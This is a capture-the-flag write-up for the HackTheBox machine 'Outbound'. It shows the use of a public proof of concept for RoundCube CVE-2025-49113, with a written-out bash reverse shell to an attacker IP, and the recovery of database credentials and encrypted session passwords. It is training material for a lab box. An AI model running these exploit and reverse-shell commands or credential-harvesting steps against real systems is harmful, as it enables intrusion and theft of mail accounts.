HTB: Outbound
Outbound starts with a RoundCube instance and a set of creds to login. I’ll abuse a authenticated deserialization vulnerability to get remote code execution and a shell. From there, I’ll recover another user’s email password from the RoundCube database, showing both how to do it manually and using a RoundCube script. Finally, I’ll abuse a CVE in below to make the passwd file writable and get root. In Beyond Root, I’ll dig into the PHP exploit, showcase some neat CyberChef tricks, and play with the sudo rules on the box.
Box Info
| Name | Outbound Play on HackTheBox |
|---|---|
| Release Date | 12 Jul 2025 |
| Retire Date | 15 Nov 2025 |
| OS | Linux |
| Base Points | Easy [20] |
| Rated Difficulty | ![]() |
| Radar Graph | ![]() |
| 00:21:55 |
|
| 00:47:17 |
|
| Creator | |
| Scenario | As is common in real life pentests, you will start the Outbound box with credentials for the following account tyler / LhKL1o9Nm3X2 |
Recon
Initial Scanning
nmap finds two open TCP ports, SSH (22) and HTTP (80):
oxdf@hacky$ nmap -p- -vvv --min-rate 10000 10.10.11.77
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-11-11 17:03 UTC
...[snip]...
Nmap scan report for 10.10.11.77
Host is up, received reset ttl 63 (0.028s latency).
Scanned at 2025-11-11 17:03:06 UTC for 6s
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 63
80/tcp open http syn-ack ttl 63
Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 6.67 seconds
Raw packets sent: 65602 (2.886MB) | Rcvd: 65536 (2.621MB)
oxdf@hacky$ nmap -p 22,80 -sCV 10.10.11.77
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-11-11 17:03 UTC
Nmap scan report for 10.10.11.77
Host is up (0.023s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.12 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 0c:4b:d2:76:ab:10:06:92:05:dc:f7:55:94:7f:18:df (ECDSA)
|_ 256 2d:6d:4a:4c:ee:2e:11:b6:c8:90:e6:83:e9:df:38:b0 (ED25519)
80/tcp open http nginx 1.24.0 (Ubuntu)
|_http-title: Did not follow redirect to http://mail.outbound.htb/
|_http-server-header: nginx/1.24.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.36 seconds
Based on the OpenSSH and nginx versions, the host is likely running Ubuntu 24.04 noble LTS.
Both ports show a TTL of 63, which matches the expected TTL for Linux one hop away.
The webserver is redirecting traffic to mail.outbound.htb. I’ll use ffuf to fuzz for any subdomains of outbound.htb and mail.outbound.htb, but find nothing new. I’ll add this to my hosts file:
10.10.11.77 mail.outbound.htb
Initial Credentials
HackTheBox provides the following scenario associated with Outbound:
As is common in real life pentests, you will start the Outbound box with credentials for the following account tyler / LhKL1o9Nm3X2
The creds do not work for SSH:
oxdf@hacky$ netexec ssh 10.10.11.77 -u tyler -p 'LhKL1o9Nm3X2'
SSH 10.10.11.77 22 10.10.11.77 SSH-2.0-OpenSSH_9.6p1 Ubuntu-3ubuntu13.12
SSH 10.10.11.77 22 10.10.11.77 [-] tyler:LhKL1o9Nm3X2
I’ll keep them in mind for the website.
mail.outbound.htb - TCP 80
Site
Visiting mail.outbound.htb loads an instance of RoundCube:
The given creds do work to log in:
It’s an empty mailbox.
Tech Stack
In the page source, there is a rcversion variable set on line 45:
If I visit the RoundCube website today, it’s offering 1.6.11:
This is 1.6.10.
The HTTP response headers match what I would expect for RoundCube behind nginx:
HTTP/1.1 200 OK
Server: nginx/1.24.0 (Ubuntu)
Date: Tue, 11 Nov 2025 17:09:16 GMT
Content-Type: text/html; charset=UTF-8
Connection: keep-alive
Set-Cookie: roundcube_sessid=nh529cv87mroodbord8nc20kc1; path=/; HttpOnly
Expires: Tue, 11 Nov 2025 17:09:16 GMT
Last-Modified: Tue, 11 Nov 2025 17:09:16 GMT
Cache-Control: private, no-cache, no-store, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
X-Frame-Options: sameorigin
Content-Language: en
Content-Length: 5327
Given that this is an open source application, there’s no need to directory brute force at least until I run out of other ideas.
Shell as www-data@mail
CVE-2025-49113
Identify
According to the RoundCube releases page, it looks like 1.6.10 released in Feb 2025 (well before outbound released on HTB in July 2025). The release page for the next (and current as of Outbound’s retiring) version, 1.6.11, shows it was patched because of an authenticated RCE vulnerability:
Searching for “roundcube cve rce 1.6.10” finds a lot of references to CVE-2025-49113:
Background
The NIST page for CVE-2025-49113 describes it as:
Roundcube Webmail before 1.5.10 and 1.6.x before 1.6.11 allows remote code execution by authenticated users because the _from parameter in a URL is not validated in program/actions/settings/upload.php, leading to PHP Object Deserialization.
This post from FearsOff shows how they discovered the vulnerability and provides all the technical details. It’s a PHP deserialization vulnerability where I can send a malicious serialized object through the image upload endpoint (used to attach photos to emails or set profile pictures). The trick is exploiting a session corruption bug: by manipulating the _from parameter and the uploaded filename, I can inject arbitrary data into the PHP session. Then the server deserializes my malicious object when it processes user preferences, triggering the __destruct() method which leads to RCE.
POC
I’ll find a POC (there are several). I like to find ones that were already published when the box was released, like this one from hakaioffsec. POCs for this will likely be PHP, as generating a PHP serialized object needs to be done in PHP. I’ll clone the repo:
oxdf@hacky$ git clone https://github.com/hakaioffsec/CVE-2025-49113-exploit.git
Cloning into 'CVE-2025-49113-exploit'...
remote: Enumerating objects: 9, done.
remote: Counting objects: 100% (9/9), done.
remote: Compressing objects: 100% (7/7), done.
remote: Total 9 (delta 1), reused 9 (delta 1), pack-reused 0 (from 0)
Receiving objects: 100% (9/9), 442.35 KiB | 4.51 MiB/s, done.
Resolving deltas: 100% (1/1), done.
oxdf@hacky$ php CVE-2025-49113.php
### Roundcube ≤ 1.6.10 Post-Auth RCE via PHP Object Deserialization [CVE-2025-49113]
### Usage: php CVE-2025-49113.php <target_url> <username> <password> <command>
It takes a target, username, password, and command. I’ll give it a run:
oxdf@hacky$ php CVE-2025-49113.php http://mail.outbound.htb tyler LhKL1o9Nm3X2 "id"
[+] Starting exploit (CVE-2025-49113)...
[*] Checking Roundcube version...
[*] Detected Roundcube version: 10610
[+] Target is vulnerable!
[+] Login successful!
[*] Exploiting...
[+] Gadget uploaded successfully!
It runs, and reports success, but doesn’t show the output. It looks to be a blind exploit. I’ll try again with ping, but that doesn’t send any ICMP my way. I’ll try with sleep:
oxdf@hacky$ time php CVE-2025-49113.php http://mail.outbound.htb tyler LhKL1o9Nm3X2 "id"
[+] Starting exploit (CVE-2025-49113)...
[*] Checking Roundcube version...
[*] Detected Roundcube version: 10610
[+] Target is vulnerable!
[+] Login successful!
[*] Exploiting...
[+] Gadget uploaded successfully!
real 0m0.346s
user 0m0.010s
sys 0m0.011s
oxdf@hacky$ time php CVE-2025-49113.php http://mail.outbound.htb tyler LhKL1o9Nm3X2 "sleep 5"
[+] Starting exploit (CVE-2025-49113)...
[*] Checking Roundcube version...
[*] Detected Roundcube version: 10610
[+] Target is vulnerable!
[+] Login successful!
[*] Exploiting...
[+] Gadget uploaded successfully!
real 0m5.344s
user 0m0.011s
sys 0m0.009s
With the sleep 5 it takes almost exactly five seconds longer! I’ll take a look at the generated payload in Beyond Root, but for now, that’s RCE.
Shell
I’ll replace the sleep 5 with a bash reverse shell:
oxdf@hacky$ php CVE-2025-49113.php http://mail.outbound.htb tyler LhKL1o9Nm3X2 "bash -c 'bash -i >& /dev/tcp/10.10.14.2/443 0>&1'"
[+] Starting exploit (CVE-2025-49113)...
[*] Checking Roundcube version...
[*] Detected Roundcube version: 10610
[+] Target is vulnerable!
[+] Login successful!
[*] Exploiting...
It hangs, but at my listening nc:
oxdf@hacky$ nc -nvlp 443
Listening on 0.0.0.0 443
Connection received on 10.10.11.77 33546
bash: cannot set terminal process group (248): Inappropriate ioctl for device
bash: no job control in this shell
www-data@mail:/$
I’ll upgrade my shell using the standard trick:
www-data@mail:/$ script /dev/null -c bash
Script started, output log file is '/dev/null'.
www-data@mail:/$ ^Z
[1]+ Stopped nc -nvlp 443
oxdf@hacky$ stty raw -echo; fg
nc -nvlp 443
reset
reset: unknown terminal type unknown
Terminal type? screen
www-data@mail:/$
Shell as jacob
Enumeration
Container
The hostname is a hint that perhaps this is not the main host. The IP address is 172.17.0.2, which confirms this is a container:
www-data@mail:/$ ip addr
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_lft forever preferred_lft forever
inet6 ::1/128 scope host
valid_lft forever preferred_lft forever
2: eth0@if4: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default
link/ether 36:dd:45:62:a3:b5 brd ff:ff:ff:ff:ff:ff link-netnsid 0
inet 172.17.0.2/16 brd 172.17.255.255 scope global eth0
valid_lft forever preferred_lft forever
There’s also a .dockerenv file in the root of the filesystem:
www-data@mail:/$ ls -a
. boot lib.usr-is-merged proc srv
.. dev lib64 root sys
.dockerenv etc media run tmp
bin home mnt sbin usr
bin.usr-is-merged lib opt sbin.usr-is-merged var
Users
There are three users with home directories in /home:
www-data@mail:/home$ ls
jacob mel tyler
www-data@mail:/home$ find . -type f
find: './jacob': Permission denied
find: './mel': Permission denied
find: './tyler': Permission denied
www-data can’t access any of them. Those three same users (plus root) have shells set in passwd:
www-data@mail:/$ cat /etc/passwd | grep 'sh$'
root:x:0:0:root:/root:/bin/bash
tyler:x:1000:1000::/home/tyler:/bin/bash
jacob:x:1001:1001::/home/jacob:/bin/bash
mel:x:1002:1002::/home/mel:/bin/bash
RoundCube
The RoundCube instance lives in /var/www/html/roundcube:
www-data@mail:/var/www/html/roundcube$ ls
CHANGELOG.md SECURITY.md composer.json logs skins
INSTALL SQL composer.lock plugins temp
LICENSE UPGRADING config program vendor
README.md bin index.php public_html
In config, there’s a config.inc.php that contains the database connection information:
<?php
/*
+-----------------------------------------------------------------------+
| Local configuration for the Roundcube Webmail installation. |
| |
| This is a sample configuration file only containing the minimum |
| setup required for a functional installation. Copy more options |
| from defaults.inc.php to this file to override the defaults. |
| |
| This file is part of the Roundcube Webmail client |
| Copyright (C) The Roundcube Dev Team |
| |
| Licensed under the GNU General Public License version 3 or |
| any later version with exceptions for skins & plugins. |
| See the README file for a full license statement. |
+-----------------------------------------------------------------------+
*/
$config = [];
// Database connection string (DSN) for read+write operations
// Format (compatible with PEAR MDB2): db_provider://user:password@host/database
// Currently supported db_providers: mysql, pgsql, sqlite, mssql, sqlsrv, oracle
// For examples see http://pear.php.net/manual/en/package.database.mdb2.intro-dsn.php
// NOTE: for SQLite use absolute path (Linux): 'sqlite:////full/path/to/sqlite.db?mode=0646'
// or (Windows): 'sqlite:///C:/full/path/to/sqlite.db'
$config['db_dsnw'] = 'mysql://roundcube:RCDBPass2025@localhost/roundcube';
// IMAP host chosen to perform the log-in.
// See defaults.inc.php for the option description.
$config['imap_host'] = 'localhost:143';
// SMTP server host (for sending mails).
// See defaults.inc.php for the option description.
$config['smtp_host'] = 'localhost:587';
// SMTP username (if required) if you use %u as the username Roundcube
// will use the current username for login
$config['smtp_user'] = '%u';
// SMTP password (if required) if you use %p as the password Roundcube
// will use the current user's password for login
$config['smtp_pass'] = '%p';
// provide an URL where a user can get support for this Roundcube installation
// PLEASE DO NOT LINK TO THE ROUNDCUBE.NET WEBSITE HERE!
$config['support_url'] = '';
// Name your service. This is displayed on the login screen and in the window title
$config['product_name'] = 'Roundcube Webmail';
// This key is used to encrypt the users imap password which is stored
// in the session record. For the default cipher method it must be
// exactly 24 characters long.
// YOUR KEY MUST BE DIFFERENT THAN THE SAMPLE VALUE FOR SECURITY REASONS
$config['des_key'] = 'rcmail-!24ByteDESkey*Str';
// List of active plugins (in plugins/ directory)
$config['plugins'] = [
'archive',
'zipdownload',
];
// skin name: folder from skins/
$config['skin'] = 'elastic';
$config['default_host'] = 'localhost';
$config['smtp_server'] = 'localhost';
It’s a MySQL connection string with username, password, and database. I’ll connect to the DB and check it out:
www-data@mail:/$ mysql -u roundcube -pRCDBPass2025 roundcube
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A
Welcome to the MariaDB monitor. Commands end with ; or \g.
Your MariaDB connection id is 319
Server version: 10.11.13-MariaDB-0ubuntu0.24.04.1 Ubuntu 24.04
Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
MariaDB [roundcube]>
The DB doesn’t have any other databases (at least not that this user can see):
MariaDB [roundcube]> show databases;
+--------------------+
| Database |
+--------------------+
| information_schema |
| roundcube |
+--------------------+
2 rows in set (0.001 sec)
There’s a handful of tables:
MariaDB [roundcube]> show tables;
+---------------------+
| Tables_in_roundcube |
+---------------------+
| cache |
| cache_index |
| cache_messages |
| cache_shared |
| cache_thread |
| collected_addresses |
| contactgroupmembers |
| contactgroups |
| contacts |
| dictionary |
| filestore |
| identities |
| responses |
| searches |
| session |
| system |
| users |
+---------------------+
17 rows in set (0.000 sec)
RoundCube itself does not store password hashes for users. When a user logs in, it authenticates that user against the mail server using the provided credentials. However, RoundCube also stores an encrypted copy of the logged in user’s credentials in the session table so that it can maintain the connection to the mail server without pestering the user.
So the users table just has timestamps and preferences (including another serialized PHP object):
MariaDB [roundcube]> select * from users;
+---------+----------+-----------+---------------------+---------------------+---------------------+----------------------+----------+-----------------------------------------------------------+
| user_id | username | mail_host | created | last_login | failed_login | failed_login_counter | language | preferences |
+---------+----------+-----------+---------------------+---------------------+---------------------+----------------------+----------+-----------------------------------------------------------+
| 1 | jacob | localhost | 2025-06-07 13:55:18 | 2025-06-11 07:52:49 | 2025-06-11 07:51:32 | 1 | en_US | a:1:{s:11:"client_hash";s:16:"hpLLqLwmqbyihpi7";} |
| 2 | mel | localhost | 2025-06-08 12:04:51 | 2025-06-08 13:29:05 | NULL | NULL | en_US | a:1:{s:11:"client_hash";s:16:"GCrPGMkZvbsnc3xv";} |
| 3 | tyler | localhost | 2025-06-08 13:28:55 | 2025-11-11 18:33:16 | 2025-11-11 18:02:17 | 1 | en_US | a:2:{s:11:"client_hash";s:16:"x66eeQ3I7IxsdjSK";i:0;b:0;} |
+---------+----------+-----------+---------------------+---------------------+---------------------+----------------------+----------+-----------------------------------------------------------+
3 rows in set (0.000 sec)
The session table has the vars column:
MariaDB [roundcube]> select * from session \G;
*************************** 1. row ***************************
sess_id: 07nn7igctgaullv65n0inrgrim
changed: 2025-11-11 18:33:17
ip: 172.17.0.1
vars: bGFuZ3VhZ2V8czo1OiJlbl9VUyI7aW1hcF9uYW1lc3BhY2V8YTo0OntzOjg6InBlcnNvbmFsIjthOjE6e2k6MDthOjI6e2k6MDtzOjA6IiI7aToxO3M6MToiLyI7fX1zOjU6Im90aGVyIjtOO3M6Njoic2hhcmVkIjtOO3M6MTA6InByZWZpeF9vdXQiO3M6MDoiIjt9aW1hcF9kZWxpbWl0ZXJ8czoxOiIvIjtpbWFwX2xpc3RfY29uZnxhOjI6e2k6MDtOO2k6MTthOjA6e319dXNlcl9pZHxpOjM7dXNlcm5hbWV8czo1OiJ0eWxlciI7c3RvcmFnZV9ob3N0fHM6OToibG9jYWxob3N0IjtzdG9yYWdlX3BvcnR8aToxNDM7c3RvcmFnZV9zc2x8YjowO3Bhc3N3b3JkfHM6MzI6ImhjVkNTTlhPWWdVWHZoQXJuMWExT0hKdERjaytDRk1FIjtsb2dpbl90aW1lfGk6MTc2Mjg4NTk5Njt0aW1lem9uZXxzOjM6IlVUQyI7U1RPUkFHRV9TUEVDSUFMLVVTRXxiOjE7YXV0aF9zZWNyZXR8czoyNjoiSzBRSTZmeHV0ZWFuNm5aSFl1MDU4WGl5MU8iO3JlcXVlc3RfdG9rZW58czozMjoic1JkNjZrQXhMbmJjQjZaTUZzZENiMnc3SDFzektwWm0iO3Rhc2t8czo0OiJtYWlsIjtza2luX2NvbmZpZ3xhOjc6e3M6MTc6InN1cHBvcnRlZF9sYXlvdXRzIjthOjE6e2k6MDtzOjEwOiJ3aWRlc2NyZWVuIjt9czoyMjoianF1ZXJ5X3VpX2NvbG9yc190aGVtZSI7czo5OiJib290c3RyYXAiO3M6MTg6ImVtYmVkX2Nzc19sb2NhdGlvbiI7czoxNzoiL3N0eWxlcy9lbWJlZC5jc3MiO3M6MTk6ImVkaXRvcl9jc3NfbG9jYXRpb24iO3M6MTc6Ii9zdHlsZXMvZW1iZWQuY3NzIjtzOjE3OiJkYXJrX21vZGVfc3VwcG9ydCI7YjoxO3M6MjY6Im1lZGlhX2Jyb3dzZXJfY3NzX2xvY2F0aW9uIjtzOjQ6Im5vbmUiO3M6MjE6ImFkZGl0aW9uYWxfbG9nb190eXBlcyI7YTozOntpOjA7czo0OiJkYXJrIjtpOjE7czo1OiJzbWFsbCI7aToyO3M6MTA6InNtYWxsLWRhcmsiO319aW1hcF9ob3N0fHM6OToibG9jYWxob3N0IjtwYWdlfGk6MTttYm94fHM6NToiSU5CT1giO3NvcnRfY29sfHM6MDoiIjtzb3J0X29yZGVyfHM6NDoiREVTQyI7U1RPUkFHRV9USFJFQUR8YTozOntpOjA7czoxMDoiUkVGRVJFTkNFUyI7aToxO3M6NDoiUkVGUyI7aToyO3M6MTQ6Ik9SREVSRURTVUJKRUNUIjt9U1RPUkFHRV9RVU9UQXxiOjA7U1RPUkFHRV9MSVNULUVYVEVOREVEfGI6MTtsaXN0X2F0dHJpYnxhOjY6e3M6NDoibmFtZSI7czo4OiJtZXNzYWdlcyI7czoyOiJpZCI7czoxMToibWVzc2FnZWxpc3QiO3M6NToiY2xhc3MiO3M6NDI6Imxpc3RpbmcgbWVzc2FnZWxpc3Qgc29ydGhlYWRlciBmaXhlZGhlYWRlciI7czoxNToiYXJpYS1sYWJlbGxlZGJ5IjtzOjIyOiJhcmlhLWxhYmVsLW1lc3NhZ2VsaXN0IjtzOjk6ImRhdGEtbGlzdCI7czoxMjoibWVzc2FnZV9saXN0IjtzOjE0OiJkYXRhLWxhYmVsLW1zZyI7czoxODoiVGhlIGxpc3QgaXMgZW1wdHkuIjt9dW5zZWVuX2NvdW50fGE6MTp7czo1OiJJTkJPWCI7aTowO30=
*************************** 2. row ***************************
sess_id: 6a5ktqih5uca6lj8vrmgh9v0oh
changed: 2025-06-08 15:46:40
ip: 172.17.0.1
vars: bGFuZ3VhZ2V8czo1OiJlbl9VUyI7aW1hcF9uYW1lc3BhY2V8YTo0OntzOjg6InBlcnNvbmFsIjthOjE6e2k6MDthOjI6e2k6MDtzOjA6IiI7aToxO3M6MToiLyI7fX1zOjU6Im90aGVyIjtOO3M6Njoic2hhcmVkIjtOO3M6MTA6InByZWZpeF9vdXQiO3M6MDoiIjt9aW1hcF9kZWxpbWl0ZXJ8czoxOiIvIjtpbWFwX2xpc3RfY29uZnxhOjI6e2k6MDtOO2k6MTthOjA6e319dXNlcl9pZHxpOjE7dXNlcm5hbWV8czo1OiJqYWNvYiI7c3RvcmFnZV9ob3N0fHM6OToibG9jYWxob3N0IjtzdG9yYWdlX3BvcnR8aToxNDM7c3RvcmFnZV9zc2x8YjowO3Bhc3N3b3JkfHM6MzI6Ikw3UnYwMEE4VHV3SkFyNjdrSVR4eGNTZ25JazI1QW0vIjtsb2dpbl90aW1lfGk6MTc0OTM5NzExOTt0aW1lem9uZXxzOjEzOiJFdXJvcGUvTG9uZG9uIjtTVE9SQUdFX1NQRUNJQUwtVVNFfGI6MTthdXRoX3NlY3JldHxzOjI2OiJEcFlxdjZtYUk5SHhETDVHaGNDZDhKYVFRVyI7cmVxdWVzdF90b2tlbnxzOjMyOiJUSXNPYUFCQTF6SFNYWk9CcEg2dXA1WEZ5YXlOUkhhdyI7dGFza3xzOjQ6Im1haWwiO3NraW5fY29uZmlnfGE6Nzp7czoxNzoic3VwcG9ydGVkX2xheW91dHMiO2E6MTp7aTowO3M6MTA6IndpZGVzY3JlZW4iO31zOjIyOiJqcXVlcnlfdWlfY29sb3JzX3RoZW1lIjtzOjk6ImJvb3RzdHJhcCI7czoxODoiZW1iZWRfY3NzX2xvY2F0aW9uIjtzOjE3OiIvc3R5bGVzL2VtYmVkLmNzcyI7czoxOToiZWRpdG9yX2Nzc19sb2NhdGlvbiI7czoxNzoiL3N0eWxlcy9lbWJlZC5jc3MiO3M6MTc6ImRhcmtfbW9kZV9zdXBwb3J0IjtiOjE7czoyNjoibWVkaWFfYnJvd3Nlcl9jc3NfbG9jYXRpb24iO3M6NDoibm9uZSI7czoyMToiYWRkaXRpb25hbF9sb2dvX3R5cGVzIjthOjM6e2k6MDtzOjQ6ImRhcmsiO2k6MTtzOjU6InNtYWxsIjtpOjI7czoxMDoic21hbGwtZGFyayI7fX1pbWFwX2hvc3R8czo5OiJsb2NhbGhvc3QiO3BhZ2V8aToxO21ib3h8czo1OiJJTkJPWCI7c29ydF9jb2x8czowOiIiO3NvcnRfb3JkZXJ8czo0OiJERVNDIjtTVE9SQUdFX1RIUkVBRHxhOjM6e2k6MDtzOjEwOiJSRUZFUkVOQ0VTIjtpOjE7czo0OiJSRUZTIjtpOjI7czoxNDoiT1JERVJFRFNVQkpFQ1QiO31TVE9SQUdFX1FVT1RBfGI6MDtTVE9SQUdFX0xJU1QtRVhURU5ERUR8YjoxO2xpc3RfYXR0cmlifGE6Njp7czo0OiJuYW1lIjtzOjg6Im1lc3NhZ2VzIjtzOjI6ImlkIjtzOjExOiJtZXNzYWdlbGlzdCI7czo1OiJjbGFzcyI7czo0MjoibGlzdGluZyBtZXNzYWdlbGlzdCBzb3J0aGVhZGVyIGZpeGVkaGVhZGVyIjtzOjE1OiJhcmlhLWxhYmVsbGVkYnkiO3M6MjI6ImFyaWEtbGFiZWwtbWVzc2FnZWxpc3QiO3M6OToiZGF0YS1saXN0IjtzOjEyOiJtZXNzYWdlX2xpc3QiO3M6MTQ6ImRhdGEtbGFiZWwtbXNnIjtzOjE4OiJUaGUgbGlzdCBpcyBlbXB0eS4iO311bnNlZW5fY291bnR8YToyOntzOjU6IklOQk9YIjtpOjI7czo1OiJUcmFzaCI7aTowO31mb2xkZXJzfGE6MTp7czo1OiJJTkJPWCI7YToyOntzOjM6ImNudCI7aToyO3M6NjoibWF4dWlkIjtpOjM7fX1saXN0X21vZF9zZXF8czoyOiIxMCI7
2 rows in set (0.000 sec)
The first row matches the cookie from my browser:
The other one is there but quite old. If I try to set that in my browser, it just redirects to the login screen with the following error:
Recover Password
Find Encrypted Password
I’ll start with tyler because I know the password I’m looking for. When I find it, I can repeat the process with the other session.
I’ll take the vars entry for my session and base64 decode it:
oxdf@hacky$ echo "bGFuZ3VhZ2V8czo1OiJlbl9VUyI7aW1hcF9uYW1lc3BhY2V8YTo0OntzOjg6InBlcnNvbmFsIjthOjE6e2k6MDthOjI6e2k6MDtzOjA6IiI7aToxO3M6MToiLyI7fX1zOjU6Im90aGVyIjtOO3M6Njoic2hhcmVkIjtOO3M6MTA6InByZWZpeF9vdXQiO3M6MDoiIjt9aW1hcF9kZWxpbWl0ZXJ8czoxOiIvIjtpbWFwX2xpc3RfY29uZnxhOjI6e2k6MDtOO2k6MTthOjA6e319dXNlcl9pZHxpOjM7dXNlcm5hbWV8czo1OiJ0eWxlciI7c3RvcmFnZV9ob3N0fHM6OToibG9jYWxob3N0IjtzdG9yYWdlX3BvcnR8aToxNDM7c3RvcmFnZV9zc2x8YjowO3Bhc3N3b3JkfHM6MzI6ImhjVkNTTlhPWWdVWHZoQXJuMWExT0hKdERjaytDRk1FIjtsb2dpbl90aW1lfGk6MTc2Mjg4NTk5Njt0aW1lem9uZXxzOjM6IlVUQyI7U1RPUkFHRV9TUEVDSUFMLVVTRXxiOjE7YXV0aF9zZWNyZXR8czoyNjoiSzBRSTZmeHV0ZWFuNm5aSFl1MDU4WGl5MU8iO3JlcXVlc3RfdG9rZW58czozMjoic1JkNjZrQXhMbmJjQjZaTUZzZENiMnc3SDFzektwWm0iO3Rhc2t8czo0OiJtYWlsIjtza2luX2NvbmZpZ3xhOjc6e3M6MTc6InN1cHBvcnRlZF9sYXlvdXRzIjthOjE6e2k6MDtzOjEwOiJ3aWRlc2NyZWVuIjt9czoyMjoianF1ZXJ5X3VpX2NvbG9yc190aGVtZSI7czo5OiJib290c3RyYXAiO3M6MTg6ImVtYmVkX2Nzc19sb2NhdGlvbiI7czoxNzoiL3N0eWxlcy9lbWJlZC5jc3MiO3M6MTk6ImVkaXRvcl9jc3NfbG9jYXRpb24iO3M6MTc6Ii9zdHlsZXMvZW1iZWQuY3NzIjtzOjE3OiJkYXJrX21vZGVfc3VwcG9ydCI7YjoxO3M6MjY6Im1lZGlhX2Jyb3dzZXJfY3NzX2xvY2F0aW9uIjtzOjQ6Im5vbmUiO3M6MjE6ImFkZGl0aW9uYWxfbG9nb190eXBlcyI7YTozOntpOjA7czo0OiJkYXJrIjtpOjE7czo1OiJzbWFsbCI7aToyO3M6MTA6InNtYWxsLWRhcmsiO319aW1hcF9ob3N0fHM6OToibG9jYWxob3N0IjtwYWdlfGk6MTttYm94fHM6NToiSU5CT1giO3NvcnRfY29sfHM6MDoiIjtzb3J0X29yZGVyfHM6NDoiREVTQyI7U1RPUkFHRV9USFJFQUR8YTozOntpOjA7czoxMDoiUkVGRVJFTkNFUyI7aToxO3M6NDoiUkVGUyI7aToyO3M6MTQ6Ik9SREVSRURTVUJKRUNUIjt9U1RPUkFHRV9RVU9UQXxiOjA7U1RPUkFHRV9MSVNULUVYVEVOREVEfGI6MTtsaXN0X2F0dHJpYnxhOjY6e3M6NDoibmFtZSI7czo4OiJtZXNzYWdlcyI7czoyOiJpZCI7czoxMToibWVzc2FnZWxpc3QiO3M6NToiY2xhc3MiO3M6NDI6Imxpc3RpbmcgbWVzc2FnZWxpc3Qgc29ydGhlYWRlciBmaXhlZGhlYWRlciI7czoxNToiYXJpYS1sYWJlbGxlZGJ5IjtzOjIyOiJhcmlhLWxhYmVsLW1lc3NhZ2VsaXN0IjtzOjk6ImRhdGEtbGlzdCI7czoxMjoibWVzc2FnZV9saXN0IjtzOjE0OiJkYXRhLWxhYmVsLW1zZyI7czoxODoiVGhlIGxpc3QgaXMgZW1wdHkuIjt9dW5zZWVuX2NvdW50fGE6MTp7czo1OiJJTkJPWCI7aTowO30=" | base64 -d
language|s:5:"en_US";imap_namespace|a:4:{s:8:"personal";a:1:{i:0;a:2:{i:0;s:0:"";i:1;s:1:"/";}}s:5:"other";N;s:6:"shared";N;s:10:"prefix_out";s:0:"";}imap_delimiter|s:1:"/";imap_list_conf|a:2:{i:0;N;i:1;a:0:{}}user_id|i:3;username|s:5:"tyler";storage_host|s:9:"localhost";storage_port|i:143;storage_ssl|b:0;password|s:32:"hcVCSNXOYgUXvhArn1a1OHJtDck+CFME";login_time|i:1762885996;timezone|s:3:"UTC";STORAGE_SPECIAL-USE|b:1;auth_secret|s:26:"K0QI6fxutean6nZHYu058Xiy1O";request_token|s:32:"sRd66kAxLnbcB6ZMFsdCb2w7H1szKpZm";task|s:4:"mail";skin_config|a:7:{s:17:"supported_layouts";a:1:{i:0;s:10:"widescreen";}s:22:"jquery_ui_colors_theme";s:9:"bootstrap";s:18:"embed_css_location";s:17:"/styles/embed.css";s:19:"editor_css_location";s:17:"/styles/embed.css";s:17:"dark_mode_support";b:1;s:26:"media_browser_css_location";s:4:"none";s:21:"additional_logo_types";a:3:{i:0;s:4:"dark";i:1;s:5:"small";i:2;s:10:"small-dark";}}imap_host|s:9:"localhost";page|i:1;mbox|s:5:"INBOX";sort_col|s:0:"";sort_order|s:4:"DESC";STORAGE_THREAD|a:3:{i:0;s:10:"REFERENCES";i:1;s:4:"REFS";i:2;s:14:"ORDEREDSUBJECT";}STORAGE_QUOTA|b:0;STORAGE_LIST-EXTENDED|b:1;list_attrib|a:6:{s:4:"name";s:8:"messages";s:2:"id";s:11:"messagelist";s:5:"class";s:42:"listing messagelist sortheader fixedheader";s:15:"aria-labelledby";s:22:"aria-label-messagelist";s:9:"data-list";s:12:"message_list";s:14:"data-label-msg";s:18:"The list is empty.";}unseen_count|a:1:{s:5:"INBOX";i:0;}
It’s a serialized PHP object. Most items take a format similar to <key>|s:<length>:<value>. To look at each item, I’ll replace the “;” with newlines:
